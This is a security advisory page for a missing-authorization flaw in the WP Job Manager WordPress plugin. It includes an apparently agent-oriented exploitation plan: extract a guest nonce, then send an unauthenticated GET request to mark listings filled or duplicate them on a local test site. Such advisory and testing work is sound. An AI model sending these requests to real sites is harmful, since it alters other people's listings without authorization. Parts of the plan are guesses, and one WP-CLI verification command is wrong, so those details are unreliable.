WP Job Manager <= 2.4.0 - Missing Authorization
Description
The WP Job Manager plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.4.0. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.4.0What Changed in the Fix
Changes introduced in v2.4.1
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-25404 (WP Job Manager) ## 1. Vulnerability Summary The **WP Job Manager** plugin (up to version 2.4.0) is vulnerable to **Missing Authorization**. The vulnerability exists in the `Job_Dashboard_Shortcode::handle_actions` method (or similar action handlers wit…
Show full research plan
Exploitation Research Plan - CVE-2026-25404 (WP Job Manager)
1. Vulnerability Summary
The WP Job Manager plugin (up to version 2.4.0) is vulnerable to Missing Authorization. The vulnerability exists in the Job_Dashboard_Shortcode::handle_actions method (or similar action handlers within the job dashboard logic). While the plugin implements CSRF protection via nonces, it fails to perform adequate capability checks or ownership verification for specific actions such as duplicating a job listing or changing a job's status (e.g., marking as filled). This allows unauthenticated attackers to perform unauthorized state-changing actions on arbitrary job listings if they can obtain a valid nonce, which is typically exposed to all users visiting the dashboard page.
2. Attack Vector Analysis
- Endpoint: The main site URL or the specific page containing the
[job_dashboard]shortcode. - Hook:
wphook, registered inWP_Job_Manager\Job_Dashboard_Shortcode::__construct. - Query Parameters:
action: The action to perform (e.g.,duplicate,mark_filled,mark_not_filled).job_id: The ID of the target job listing._wpnonce: A WordPress nonce for the actionjob_manager_my_job_actions.
- Authentication: Unauthenticated (
PR:N). - Precondition: A job listing must exist, and its ID must be known. The attacker must visit the dashboard page (even if logged out) to retrieve the nonce.
3. Code Flow
- Entry Point: A
GETrequest is sent to/?action=mark_filled&job_id=123&_wpnonce=[NONCE]. - Hook Execution:
WP_Job_Manager\Job_Dashboard_Shortcode::handle_actions()is triggered via thewphook. - Action Parsing: The code extracts
actionandjob_idfrom$_REQUEST. - Nonce Verification: The code calls
wp_verify_nonce( $_REQUEST['_wpnonce'], 'job_manager_my_job_actions' ). For unauthenticated users, this nonce is generated usinguid=0. - Vulnerable Sink: The code proceeds to execute the action (e.g., updating post meta to mark a job as filled or duplicating the post) without verifying that the current user is logged in or that the user has the authority to manage the specific
job_id. - State Change: The job listing's status or metadata is modified in the database.
4. Nonce Acquisition Strategy
The job_manager_my_job_actions nonce is generated for unauthenticated users when they visit the page containing the [job_dashboard] shortcode. Even though the dashboard content is hidden behind a login form for guests, the underlying logic (specifically Job_Overlay) often enqueues scripts and localizes data including the nonce.
Strategy:
- Identify Dashboard: Locate the page containing
[job_dashboard]. - Navigate: Use
browser_navigateto visit that page. - Extract: Use
browser_evalto extract the nonce from the localized JavaScript objects.- Target Variable:
window.wp_job_manager_job_dashboard(inferred from typical WPJM localization patterns). - Nonce Key:
nonce. - Command:
browser_eval("window.wp_job_manager_job_dashboard?.nonce").
- Target Variable:
5. Exploitation Strategy
- Setup: Create a target job listing as an admin and record its ID.
- Preparation: Create a page with the
[job_dashboard]shortcode. - Extraction: Visit the dashboard page as a guest and extract the nonce.
- Execution: Use
http_requestto send a GET request to the site root with the target parameters.- URL:
http://localhost:8080/ - Method:
GET - Params:
?action=mark_filled&job_id=[JOB_ID]&_wpnonce=[NONCE]
- URL:
- Verification: Check if the job listing's metadata
_filledhas been set to1.
6. Test Data Setup
- Target Job: Create a job listing.
wp post create --post_type=job_listing --post_title="Critical Engineering Role" --post_status=publish --post_author=1 # Record the ID (e.g., 123) - Dashboard Page: Create a page to trigger nonce localization.
wp post create --post_type=page --post_title="Employer Dashboard" --post_content='[job_dashboard]' --post_status=publish
7. Expected Results
- The HTTP request returns a redirect (302) or success message.
- The job listing with the specified ID is updated.
- Specifically, for the
mark_filledaction, the post meta_filledwill be changed from0(or non-existent) to1.
8. Verification Steps
Verify the state change via WP-CLI:
# Check if the job is marked as filled
wp post generate --post_type=job_listing --post_id=[ID] --field=_filled
# Or check the display status via the dashboard action logic
wp eval "echo get_post_meta([ID], '_filled', true);"
9. Alternative Approaches
If mark_filled is properly protected, attempt the duplicate action:
- Action:
duplicate. - Request:
GET /?action=duplicate&job_id=[ID]&_wpnonce=[NONCE]. - Verification: Check for the creation of a new job listing with a title like "Duplicate of [Original Title]".
wp post list --post_type=job_listing --orderby=ID --order=DESC --limit=1
If the wp hook is not the entry point, investigate the job_manager_ajax_ handlers in includes/class-wp-job-manager-ajax.php, though the shortcode-based action handler is the most probable location for this specific authorization failure.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.